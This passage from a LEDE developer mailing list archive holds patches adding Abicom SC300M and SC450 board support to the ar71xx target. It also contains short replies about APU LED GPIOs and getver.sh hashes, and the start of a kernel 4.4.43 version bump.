 	select ATH79_DEV_M25P80
 	select ATH79_DEV_WMAC
 
+config ATH79_MACH_SC300M
+	bool "Abicom SC300M board support"
+	select SOC_QCA955X
+	select ATH79_DEV_AP9X_PCI if PCI
+	select ATH79_DEV_ETH
+	select ATH79_DEV_GPIO_BUTTONS
+	select ATH79_DEV_LEDS_GPIO
+	select ATH79_DEV_M25P80
+	select ATH79_DEV_USB
+	select ATH79_DEV_WMAC
+
 config ATH79_MACH_ALL0258N
 	bool "Allnet ALL0258N support"
 	select SOC_AR724X
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Makefile b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
index 6384c06..915b34e 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
@@ -151,6 +151,7 @@ obj-$(CONFIG_ATH79_MACH_RB95X)			+= mach-rb95x.o
 obj-$(CONFIG_ATH79_MACH_RBSXTLITE)		+= mach-rbsxtlite.o
 obj-$(CONFIG_ATH79_MACH_RE450)			+= mach-re450.o
 obj-$(CONFIG_ATH79_MACH_RW2458N)		+= mach-rw2458n.o
+obj-$(CONFIG_ATH79_MACH_SC300M)			+= mach-sc300m.o
 obj-$(CONFIG_ATH79_MACH_SMART_300)		+= mach-smart-300.o
 obj-$(CONFIG_ATH79_MACH_SOM9331)		+= mach-som9331.o
 obj-$(CONFIG_ATH79_MACH_SR3200)			+= mach-sr3200.o
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c
new file mode 100644
index 0000000..2830bcf
--- /dev/null
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c
@@ -0,0 +1,132 @@
+/*
+ * Abicom International Scorpion SC300M Module support.
+ *
+ * Copyright (c) 2012 Qualcomm Atheros
+ * Copyright (c) 2012-2013 Gabor Juhos <juhosg at openwrt.org>
+ * Copyright (c) 2017 Conor O'Gorman <i at conorogorman.net>
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ *
+ */
+
+#include <linux/platform_device.h>
+#include <linux/platform_data/phy-at803x.h>
+
+#include <asm/mach-ath79/ar71xx_regs.h>
+
+#include "common.h"
+#include "pci.h"
+#include "dev-ap9x-pci.h"
+#include "dev-gpio-buttons.h"
+#include "dev-eth.h"
+#include "dev-leds-gpio.h"
+#include "dev-m25p80.h"
+#include "dev-nfc.h"
+#include "dev-usb.h"
+#include "dev-wmac.h"
+#include "machtypes.h"
+
+#define SC300M_GPIO_LED_WLAN		0
+#define SC300M_GPIO_LED_POWER		1
+
+#define SC300M_GPIO_BTN_RESET		17
+
+#define SC300M_KEYS_POLL_INTERVAL	20	/* msecs */
+#define SC300M_KEYS_DEBOUNCE_INTERVAL	(3 * SC300M_KEYS_POLL_INTERVAL)
+
+#define SC300M_MAC0_OFFSET		0
+#define SC300M_MAC1_OFFSET		6
+#define SC300M_WMAC_CALDATA_OFFSET	0x1000
+#define SC300M_PCIE_CALDATA_OFFSET	0x5000
+
+static struct gpio_led sc300m_leds_gpio[] __initdata = {
+	{
+		.name		= "sc300m:blue:wlan",
+		.gpio		= SC300M_GPIO_LED_WLAN,
+		.active_low	= 1,
+	},
+	{
+		.name		= "sc300m:blue:power",
+		.gpio		= SC300M_GPIO_LED_POWER,
+		.active_low	= 1,
+	}
+};
+
+static struct gpio_keys_button sc300m_gpio_keys[] __initdata = {
+	{
+		.desc		= "reset",
+		.type		= EV_KEY,
+		.code		= KEY_RESTART,
+		.debounce_interval = SC300M_KEYS_DEBOUNCE_INTERVAL,
+		.gpio		= SC300M_GPIO_BTN_RESET,
+		.active_low	= 1,
+	}
+};
+
+static struct at803x_platform_data at803x_data = {
+	.disable_smarteee = 1,
+	.enable_rgmii_rx_delay = 0,
+	.enable_rgmii_tx_delay = 0,
+};
+
+static struct mdio_board_info sc300m_mdio0_info[] = {
+	{
+		.bus_id = "ag71xx-mdio.0",
+		.phy_addr = 1,
+		.platform_data = &at803x_data,
+	},
+};
+
+static void __init sc300m_setup(void)
+{
+	u8 *art = (u8 *) KSEG1ADDR(0x1fff0000);
+
+	ath79_register_m25p80(NULL);
+
+	ath79_register_leds_gpio(-1, ARRAY_SIZE(sc300m_leds_gpio),
+				 sc300m_leds_gpio);
+	ath79_register_gpio_keys_polled(-1, SC300M_KEYS_POLL_INTERVAL,
+					ARRAY_SIZE(sc300m_gpio_keys),
+					sc300m_gpio_keys);
+
+	ath79_register_usb();
+	ath79_register_nfc();
+
+	ath79_register_wmac(art + SC300M_WMAC_CALDATA_OFFSET, NULL);
+
+	ath79_register_mdio(0, 0);
+	mdiobus_register_board_info(sc300m_mdio0_info,
+				    ARRAY_SIZE(sc300m_mdio0_info));
+
+	ath79_init_mac(ath79_eth0_data.mac_addr, art + SC300M_MAC0_OFFSET, 0);
+
+	ath79_eth0_pll_data.pll_1000 = 0xa6000101;
+	ath79_eth0_pll_data.pll_100 = 0xa4000101;
+	/* GMAC0 is connected to the RMGII interface */
+	ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII;
+	ath79_eth0_data.phy_mask = 0xF;
+	ath79_eth0_data.mii_bus_dev = &ath79_mdio0_device.dev;
+
+	ath79_register_eth(0);
+
+	/* GMAC1 is connected to the SGMII interface */
+	ath79_eth1_data.phy_if_mode = PHY_INTERFACE_MODE_SGMII;
+	ath79_eth1_data.speed = SPEED_1000;
+	ath79_eth1_data.duplex = DUPLEX_FULL;
+
+	ath79_register_eth(1);
+
+	ath79_register_pci();
+}
+
+MIPS_MACHINE(ATH79_MACH_SC300M, "SC300M", "Abicom SC300M", sc300m_setup);
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
index 9402185..b1e29f9 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
+++ b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
@@ -168,6 +168,7 @@ enum ath79_mach_type {
 	ATH79_MACH_RB_SXTLITE5ND,		/* Mikrotik RouterBOARD SXT Lite 5nD */
 	ATH79_MACH_RE450,			/* TP-LINK RE450 */
 	ATH79_MACH_RW2458N,			/* Redwave RW2458N */
+	ATH79_MACH_SC300M,			/* Abicom SC300M */
 	ATH79_MACH_SMART_300,			/* NC-LINK SMART-300 */
 	ATH79_MACH_SOM9331,			/* OpenEmbed SOM9331 */
 	ATH79_MACH_SR3200,			/* YunCore SR3200 */
diff --git a/target/linux/ar71xx/image/generic.mk b/target/linux/ar71xx/image/generic.mk
index e2867e6..f8445b5 100644
--- a/target/linux/ar71xx/image/generic.mk
+++ b/target/linux/ar71xx/image/generic.mk
@@ -464,6 +464,16 @@ define Device/onion-omega
 endef
 TARGET_DEVICES += onion-omega
 
+define Device/sc300m
+  DEVICE_TITLE := Abicom SC300M
+  DEVICE_PACKAGES := kmod-usb-core kmod-usb-ohci kmod-usb2 kmod-usb-ledtrig-usbport
+  BOARDNAME = SC300M
+  IMAGE_SIZE = 15744k
+  CONSOLE = ttyS0,115200
+  MTDPARTS = spi0.0:256k(u-boot)ro,64k(u-boot-env),15744k(firmware),128k(APConfig),128k(kplog),64k(ART)
+endef
+TARGET_DEVICES += sc300m
+
 define Device/smart-300
   $(Device/tplink-8mlzma)
   DEVICE_TITLE := NC-LINK SMART-300
-- 
2.9.3



From i at conorogorman.net  Sun Jan 15 14:01:02 2017
From: i at conorogorman.net (Conor O'Gorman)
Date: Sun, 15 Jan 2017 22:01:02 +0000
Subject: [LEDE-DEV] [PATCH v3 0/3] ar71xx: add Abicom SC300m, SC450, SC1750
Message-ID: <20170115220105.10682-1-i@conorogorman.net>

v3 try harder to get Kconfig order right, plus typo, and sc1750

Conor O'Gorman (3):
  ar71xx: add Abicom SC300M support
  ar71xx: add Abicom SC450 support
  ar71xx: add Abicom SC1750 support

 target/linux/ar71xx/base-files/etc/board.d/01_leds |   5 +
 .../linux/ar71xx/base-files/etc/board.d/02_network |   1 +
 target/linux/ar71xx/base-files/etc/diag.sh         |   5 +-
 target/linux/ar71xx/base-files/lib/ar71xx.sh       |   9 ++
 .../ar71xx/base-files/lib/upgrade/platform.sh      |   3 +
 target/linux/ar71xx/config-4.4                     |   3 +
 .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   |  33 +++++
 target/linux/ar71xx/files/arch/mips/ath79/Makefile |   3 +
 .../ar71xx/files/arch/mips/ath79/mach-sc1750.c     | 145 ++++++++++++++++++++
 .../ar71xx/files/arch/mips/ath79/mach-sc300m.c     | 132 ++++++++++++++++++
 .../ar71xx/files/arch/mips/ath79/mach-sc450.c      | 149 +++++++++++++++++++++
 .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |   3 +
 target/linux/ar71xx/image/generic.mk               |  30 +++++
 13 files changed, 520 insertions(+), 1 deletion(-)
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-sc1750.c
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-sc300m.c
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-sc450.c

-- 
2.9.3



From i at conorogorman.net  Sun Jan 15 14:01:04 2017
From: i at conorogorman.net (Conor O'Gorman)
Date: Sun, 15 Jan 2017 22:01:04 +0000
Subject: [LEDE-DEV] [PATCH v3 2/3] ar71xx: add Abicom SC450 support
In-Reply-To: <20170115220105.10682-1-i@conorogorman.net>
References: <20170115220105.10682-1-i@conorogorman.net>
Message-ID: <20170115220105.10682-3-i@conorogorman.net>

Support Abicom International Scorpion SC450 Board

QCA9550 700MHz Extended Temperature Range
256MB DDR2
256MB NAND Flash
16MB NOR Flash
10/100/1000 Ethernet
15W Max, 3x3 Mode, Full Power TX Power
802.3-at POE+ & DC Input options
100x 85mm
USB
PCIe
SFP
GPIO/LED

Signed-off-by: Conor O'Gorman <i at conorogorman.net>
---
 target/linux/ar71xx/base-files/etc/board.d/01_leds |   3 +
 target/linux/ar71xx/base-files/etc/diag.sh         |   1 +
 target/linux/ar71xx/base-files/lib/ar71xx.sh       |   3 +
 .../ar71xx/base-files/lib/upgrade/platform.sh      |   1 +
 target/linux/ar71xx/config-4.4                     |   1 +
 .../ar71xx/files/arch/mips/ath79/Kconfig.openwrt   |  11 ++
 target/linux/ar71xx/files/arch/mips/ath79/Makefile |   1 +
 .../ar71xx/files/arch/mips/ath79/mach-sc450.c      | 149 +++++++++++++++++++++
 .../linux/ar71xx/files/arch/mips/ath79/machtypes.h |   1 +
 target/linux/ar71xx/image/generic.mk               |  10 ++
 10 files changed, 181 insertions(+)
 create mode 100644 target/linux/ar71xx/files/arch/mips/ath79/mach-sc450.c

diff --git a/target/linux/ar71xx/base-files/etc/board.d/01_leds b/target/linux/ar71xx/base-files/etc/board.d/01_leds
index 5be9d4a..898af5e 100755
--- a/target/linux/ar71xx/base-files/etc/board.d/01_leds
+++ b/target/linux/ar71xx/base-files/etc/board.d/01_leds
@@ -437,6 +437,9 @@ re450)
 	ucidef_set_led_wlan "wlan2g" "WLAN 2.4 GHz" "$board:blue:wlan2g" "phy1tpt"
 	ucidef_set_led_wlan "wlan5g" "WLAN 5 GHz" "$board:blue:wlan5g" "phy0tpt"
 	;;
+sc450)
+	ucidef_set_led_wlan "wlan" "WLAN" "$board:green:wlan" "phy0tpt"
+	;;
 smart-300)
 	ucidef_set_led_netdev "wan" "WAN" "nc-link:green:wan" "eth0"
 	ucidef_set_led_switch "lan1" "LAN1" "nc-link:green:lan1" "switch0" "0x04"
diff --git a/target/linux/ar71xx/base-files/etc/diag.sh b/target/linux/ar71xx/base-files/etc/diag.sh
index 36f2c43..695f0a1 100644
--- a/target/linux/ar71xx/base-files/etc/diag.sh
+++ b/target/linux/ar71xx/base-files/etc/diag.sh
@@ -44,6 +44,7 @@ get_status_led() {
 	mr12|\
 	mr16|\
 	nbg6616|\
+	sc450|\
 	tl-wpa8630)
 		status_led="$board:green:power"
 		;;
diff --git a/target/linux/ar71xx/base-files/lib/ar71xx.sh b/target/linux/ar71xx/base-files/lib/ar71xx.sh
index a8bdc67..a15aab9 100755
--- a/target/linux/ar71xx/base-files/lib/ar71xx.sh
+++ b/target/linux/ar71xx/base-files/lib/ar71xx.sh
@@ -884,6 +884,9 @@ ar71xx_board_detect() {
 	*SC300M)
 		name="sc300m"
 		;;
+	*SC450)
+		name="sc450"
+		;;
 	*"SMART-300")
 		name="smart-300"
 		;;
diff --git a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
index 74808ef..690f5f2 100755
--- a/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
+++ b/target/linux/ar71xx/base-files/lib/upgrade/platform.sh
@@ -227,6 +227,7 @@ platform_check_image() {
 	rocket-m|\
 	rw2458n|\
 	sc300m|\
+	sc450|\
 	sr3200|\
 	tew-632brp|\
 	tew-712br|\
diff --git a/target/linux/ar71xx/config-4.4 b/target/linux/ar71xx/config-4.4
index daffdea..bdd2179 100644
--- a/target/linux/ar71xx/config-4.4
+++ b/target/linux/ar71xx/config-4.4
@@ -148,6 +148,7 @@ CONFIG_ATH79_MACH_R6100=y
 CONFIG_ATH79_MACH_RE450=y
 CONFIG_ATH79_MACH_RW2458N=y
 CONFIG_ATH79_MACH_SC300M=y
+CONFIG_ATH79_MACH_SC450=y
 CONFIG_ATH79_MACH_SMART_300=y
 CONFIG_ATH79_MACH_SOM9331=y
 CONFIG_ATH79_MACH_SR3200=y
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
index a2662a6..4383b9b 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Kconfig.openwrt
@@ -53,6 +53,17 @@ config ATH79_MACH_SC300M
 	select ATH79_DEV_USB
 	select ATH79_DEV_WMAC
 
+config ATH79_MACH_SC450
+	bool "Abicom SC450 board support"
+	select SOC_QCA955X
+	select ATH79_DEV_AP9X_PCI if PCI
+	select ATH79_DEV_ETH
+	select ATH79_DEV_GPIO_BUTTONS
+	select ATH79_DEV_LEDS_GPIO
+	select ATH79_DEV_M25P80
+	select ATH79_DEV_USB
+	select ATH79_DEV_WMAC
+
 config ATH79_MACH_ALL0258N
 	bool "Allnet ALL0258N support"
 	select SOC_AR724X
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/Makefile b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
index 915b34e..ae0e007 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/Makefile
+++ b/target/linux/ar71xx/files/arch/mips/ath79/Makefile
@@ -152,6 +152,7 @@ obj-$(CONFIG_ATH79_MACH_RBSXTLITE)		+= mach-rbsxtlite.o
 obj-$(CONFIG_ATH79_MACH_RE450)			+= mach-re450.o
 obj-$(CONFIG_ATH79_MACH_RW2458N)		+= mach-rw2458n.o
 obj-$(CONFIG_ATH79_MACH_SC300M)			+= mach-sc300m.o
+obj-$(CONFIG_ATH79_MACH_SC450)			+= mach-sc450.o
 obj-$(CONFIG_ATH79_MACH_SMART_300)		+= mach-smart-300.o
 obj-$(CONFIG_ATH79_MACH_SOM9331)		+= mach-som9331.o
 obj-$(CONFIG_ATH79_MACH_SR3200)			+= mach-sr3200.o
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-sc450.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc450.c
new file mode 100644
index 0000000..9cd0815
--- /dev/null
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-sc450.c
@@ -0,0 +1,149 @@
+/*
+ * Abicom International Scorpion SC450 support.
+ *
+ * Copyright (c) 2012 Qualcomm Atheros
+ * Copyright (c) 2012-2013 Gabor Juhos <juhosg at openwrt.org>
+ * Copyright (c) 2017 Conor O'Gorman <i at conorogorman.net>
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+ *
+ */
+
+#include <linux/platform_device.h>
+#include <linux/platform_data/phy-at803x.h>
+
+#include <asm/mach-ath79/ar71xx_regs.h>
+
+#include "common.h"
+#include "pci.h"
+#include "dev-ap9x-pci.h"
+#include "dev-gpio-buttons.h"
+#include "dev-eth.h"
+#include "dev-leds-gpio.h"
+#include "dev-m25p80.h"
+#include "dev-nfc.h"
+#include "dev-usb.h"
+#include "dev-wmac.h"
+#include "machtypes.h"
+
+#define SC450_GPIO_LED_POWER		13
+#define SC450_GPIO_LED_ERR1		14
+#define SC450_GPIO_LED_ERR2		15
+#define SC450_GPIO_LED_WLAN		16
+#define SC450_GPIO_BTN_RESET		17
+#define SC450_GPIO_WP			18
+#define SC450_GPIO_POE			19
+#define SC450_GPIO_RX_LOS		20
+#define SC450_GPIO_MOD_GND		21
+#define SC450_GPIO_MOD_SCL		22
+#define SC450_GPIO_MOD_SDA		23
+
+#define SC450_KEYS_POLL_INTERVAL	20	/* msecs */
+#define SC450_KEYS_DEBOUNCE_INTERVAL	(3 * SC450_KEYS_POLL_INTERVAL)
+
+#define SC450_MAC0_OFFSET		0
+#define SC450_MAC1_OFFSET		6
+#define SC450_WMAC_CALDATA_OFFSET	0x1000
+#define SC450_PCIE_CALDATA_OFFSET	0x5000
+
+static struct gpio_led sc450_leds_gpio[] __initdata = {
+	{
+		.name		= "sc450:green:power",
+		.gpio		= SC450_GPIO_LED_POWER,
+		.active_low	= 1,
+	},
+	{
+		.name		= "sc450:red:power",
+		.gpio		= SC450_GPIO_LED_ERR1,
+		.active_low	= 1,
+	},
+	{
+		.name		= "sc450:green:wlan",
+		.gpio		= SC450_GPIO_LED_WLAN,
+		.active_low	= 1,
+	},
+	{
+		.name		= "sc450:red:wlan",
+		.gpio		= SC450_GPIO_LED_ERR2,
+		.active_low	= 1,
+	}
+};
+
+static struct gpio_keys_button sc450_gpio_keys[] __initdata = {
+	{
+		.desc		= "reset",
+		.type		= EV_KEY,
+		.code		= KEY_RESTART,
+		.debounce_interval = SC450_KEYS_DEBOUNCE_INTERVAL,
+		.gpio		= SC450_GPIO_BTN_RESET,
+		.active_low	= 1,
+	}
+};
+
+static struct at803x_platform_data at803x_data = {
+	.disable_smarteee = 1,
+	.enable_rgmii_rx_delay = 0,
+	.enable_rgmii_tx_delay = 0,
+};
+
+static struct mdio_board_info sc450_mdio0_info[] = {
+	{
+		.bus_id = "ag71xx-mdio.0",
+		.phy_addr = 1,
+		.platform_data = &at803x_data,
+	},
+};
+
+static void __init sc450_setup(void)
+{
+	u8 *art = (u8 *) KSEG1ADDR(0x1fff0000);
+
+	ath79_register_m25p80(NULL);
+
+	ath79_register_leds_gpio(-1, ARRAY_SIZE(sc450_leds_gpio),
+				 sc450_leds_gpio);
+	ath79_register_gpio_keys_polled(-1, SC450_KEYS_POLL_INTERVAL,
+					ARRAY_SIZE(sc450_gpio_keys),
+					sc450_gpio_keys);
+
+	ath79_register_usb();
+	ath79_register_nfc();
+
+	ath79_register_wmac(art + SC450_WMAC_CALDATA_OFFSET, NULL);
+
+	ath79_register_mdio(0, 0);
+	mdiobus_register_board_info(sc450_mdio0_info,
+				    ARRAY_SIZE(sc450_mdio0_info));
+
+	ath79_init_mac(ath79_eth0_data.mac_addr, art + SC450_MAC0_OFFSET, 0);
+
+	ath79_eth0_pll_data.pll_1000 = 0xa6000101;
+	ath79_eth0_pll_data.pll_100 = 0xa4000101;
+	/* GMAC0 is connected to the RMGII interface */
+	ath79_eth0_data.phy_if_mode = PHY_INTERFACE_MODE_RGMII;
+	ath79_eth0_data.phy_mask = 0xF;
+	ath79_eth0_data.mii_bus_dev = &ath79_mdio0_device.dev;
+
+	ath79_register_eth(0);
+
+	/* GMAC1 is connected to the SGMII interface */
+	ath79_eth1_data.phy_if_mode = PHY_INTERFACE_MODE_SGMII;
+	ath79_eth1_data.speed = SPEED_1000;
+	ath79_eth1_data.duplex = DUPLEX_FULL;
+
+	ath79_register_eth(1);
+
+	ath79_register_pci();
+}
+
+MIPS_MACHINE(ATH79_MACH_SC450, "SC450", "Abicom SC450", sc450_setup);
diff --git a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
index b1e29f9..da9c160 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
+++ b/target/linux/ar71xx/files/arch/mips/ath79/machtypes.h
@@ -169,6 +169,7 @@ enum ath79_mach_type {
 	ATH79_MACH_RE450,			/* TP-LINK RE450 */
 	ATH79_MACH_RW2458N,			/* Redwave RW2458N */
 	ATH79_MACH_SC300M,			/* Abicom SC300M */
+	ATH79_MACH_SC450,			/* Abicom SC450 */
 	ATH79_MACH_SMART_300,			/* NC-LINK SMART-300 */
 	ATH79_MACH_SOM9331,			/* OpenEmbed SOM9331 */
 	ATH79_MACH_SR3200,			/* YunCore SR3200 */
diff --git a/target/linux/ar71xx/image/generic.mk b/target/linux/ar71xx/image/generic.mk
index f8445b5..02b90b0 100644
--- a/target/linux/ar71xx/image/generic.mk
+++ b/target/linux/ar71xx/image/generic.mk
@@ -474,6 +474,16 @@ define Device/sc300m
 endef
 TARGET_DEVICES += sc300m
 
+define Device/sc450
+  DEVICE_TITLE := Abicom SC450
+  DEVICE_PACKAGES := kmod-usb-core kmod-usb-ohci kmod-usb2 kmod-usb-ledtrig-usbport
+  BOARDNAME = SC450
+  IMAGE_SIZE = 15744k
+  CONSOLE = ttyS0,115200
+  MTDPARTS = spi0.0:256k(u-boot)ro,64k(u-boot-env),15744k(firmware),128k(APConfig),128k(kplog),64k(ART)
+endef
+TARGET_DEVICES += sc450
+
 define Device/smart-300
   $(Device/tplink-8mlzma)
   DEVICE_TITLE := NC-LINK SMART-300
-- 
2.9.3



From cezary.jackiewicz at gmail.com  Sun Jan 15 22:49:03 2017
From: cezary.jackiewicz at gmail.com (Cezary Jackiewicz)
Date: Mon, 16 Jan 2017 07:49:03 +0100
Subject: [LEDE-DEV] [PATCH 4/4] x86: Add APU2 LED Driver
In-Reply-To: <1484410827-30973-4-git-send-email-chrisrblake93@gmail.com>
References: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>
 <1484410827-30973-4-git-send-email-chrisrblake93@gmail.com>
Message-ID: <20170116074903.1ed3b0e7@samsung>

Dnia 2017-01-14, o godz. 10:20:27
Chris Blake <chrisrblake93 at gmail.com> napisa?(a):

> The following patch adds LED support for the PC Engines APU2/APU3 board
> on LEDE.

Hi,
could you also export GPIO33? NC for APU2 but for APU3 this is sim switch.

-- 
Pozdrawiam,
 Cezary Jackiewicz


From mrtz.milani at googlemail.com  Mon Jan 16 00:36:16 2017
From: mrtz.milani at googlemail.com (Morteza Milani)
Date: Mon, 16 Jan 2017 12:06:16 +0330
Subject: [LEDE-DEV] [PATCH] scripts/getver.sh: append short git hash based
 on upstream commit
In-Reply-To: <1484429641-7313-1-git-send-email-mkroken@gmail.com>
References: <1484429641-7313-1-git-send-email-mkroken@gmail.com>
Message-ID: <CAFZ7y12yzWCgGH8fCb0y=jh9Lt_uVZUvDXgJU67UiDMR_=y3yg@mail.gmail.com>

There is a problem though in semantics. Assuming your suggestion is accepted,
when you build the version on your tree with dirty commits, you will see a hash
which is not corresponding to the tree you have, but the remote one. This won't
make sense.

Signed-off-by: Morteza Milani <mrtz.milani at gmail.com>

On Sun, Jan 15, 2017 at 1:04 AM, Magnus Kroken <mkroken at gmail.com> wrote:
> The short git hash suffix printed by getver.sh is taken from the
> latest local commit, change this to use the hash from latest
> upstream commit if available. This is considered the intended
> behavior based on commit message a642a11faca87e2a7bddc1fadb54253e2fc26e84,
> introducing getver.sh.
>
> Signed-off-by: Magnus Kroken <mkroken at gmail.com>
> ---
> The referenced commit message says:
> The new output format will look like "r2400+2-882472e" for dirty trees or like
> "r2402-882472e" for clean ones.
>
> Since the example hashes are the same, I take this to mean that this was the intended behavior.
>
> Intended or not, I would suggest this anyway. If someone provides a LEDE version number from a dirty tree,
> e.g. r2961+8-abcdef01, you need access to a LEDE Git tree and ability to run getver.sh to look up which
> commit r2961 corresponds to. The short hash (abcdef01) is from the dirty tree, and can be anything that person has committed.
> Appending the upstream base commit hash is useful when people ask for help and you want to track down the
> commit they're based on, and you may not have a running LEDE build environment available. Knowing that a tree
> is dirty (+8) is useful as well, but the commit hash is only useful to people who have access to the dirty tree.
>
>  scripts/getver.sh | 7 ++++++-
>  1 file changed, 6 insertions(+), 1 deletion(-)
>
> diff --git a/scripts/getver.sh b/scripts/getver.sh
> index ecf048f..4d594d3 100755
> --- a/scripts/getver.sh
> +++ b/scripts/getver.sh
> @@ -40,7 +40,12 @@ try_git() {
>                         REV="${UPSTREAM_REV}+$((REV - UPSTREAM_REV))"
>                 fi
>
> -               REV="${REV:+r$REV-$(git log --format="%h" -1)}"
> +               if [ -n "$UPSTREAM_BASE" ]; then
> +                       REV="${REV:+r$REV-$(git log -n 1 --format="%h" $UPSTREAM_BASE)}"
> +               else
> +                       REV="${REV:+r$REV-$(git log --format="%h" -1)}"
> +               fi
> +
>                 ;;
>         esac
>
> --
> 2.1.4
>
>
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev


From koen.vandeputte at ncentric.com  Mon Jan 16 00:42:12 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Mon, 16 Jan 2017 09:42:12 +0100
Subject: [LEDE-DEV] [PATCH] kernel: bump to 4.4.43
Message-ID: <1484556132-3694-1-git-send-email-koen.vandeputte@ncentric.com>

Refreshed patches for all supported targets.

Compiled & tested on imx6

Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
---
 include/kernel-version.mk                                |  4 ++--
 .../ar71xx/patches-4.4/910-unaligned_access_hacks.patch  |  4 ++--
 .../0111-mm-Remove-the-PFN-busy-warning.patch            |  2 +-
 .../680-NET-skip-GRO-for-foreign-MAC-addresses.patch     | 10 +++++-----
 .../110-serial-imx-repair-and-complete-handshaking.patch | 16 ++++++----------
 .../patches-4.4/111-serial-imx-fix-polarity-of-RI.patch  |  7 +------
 ...l-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch |  9 ++-------
 ...erial-imx-make-sure-unhandled-irqs-are-disabled.patch |  7 +------
 8 files changed, 20 insertions(+), 39 deletions(-)

diff --git a/include/kernel-version.mk b/include/kernel-version.mk
index efd58e1..7cfdbd3 100644
--- a/include/kernel-version.mk
+++ b/include/kernel-version.mk
@@ -3,10 +3,10 @@
 LINUX_RELEASE?=1
 
 LINUX_VERSION-3.18 = .43
-LINUX_VERSION-4.4 = .42
+LINUX_VERSION-4.4 = .43
 
 LINUX_KERNEL_HASH-3.18.43 = 1236e8123a6ce537d5029232560966feed054ae31776fe8481dd7d18cdd5492c
-LINUX_KERNEL_HASH-4.4.42 = 324747568e92f203e3ee5ec8b291a868f58b870f1ad214fa64aa3507ed42e878
+LINUX_KERNEL_HASH-4.4.43 = 0b1370c61a8e210f92b85476c619a1f8b9c037e0d10581a35d55f1697f84f7fb
 
 ifdef KERNEL_PATCHVER
   LINUX_VERSION:=$(KERNEL_PATCHVER)$(strip $(LINUX_VERSION-$(KERNEL_PATCHVER)))
diff --git a/target/linux/ar71xx/patches-4.4/910-unaligned_access_hacks.patch b/target/linux/ar71xx/patches-4.4/910-unaligned_access_hacks.patch
index 21cad91..2c01442 100644
--- a/target/linux/ar71xx/patches-4.4/910-unaligned_access_hacks.patch
+++ b/target/linux/ar71xx/patches-4.4/910-unaligned_access_hacks.patch
@@ -491,7 +491,7 @@
  		memcpy(p, foc->val, foc->len);
 --- a/net/ipv4/igmp.c
 +++ b/net/ipv4/igmp.c
-@@ -500,7 +500,7 @@ static struct sk_buff *add_grec(struct s
+@@ -505,7 +505,7 @@ static struct sk_buff *add_grec(struct s
  		if (!skb)
  			return NULL;
  		psrc = (__be32 *)skb_put(skb, sizeof(__be32));
@@ -610,7 +610,7 @@
  			goto next_ht;
 --- a/net/ipv6/ip6_offload.c
 +++ b/net/ipv6/ip6_offload.c
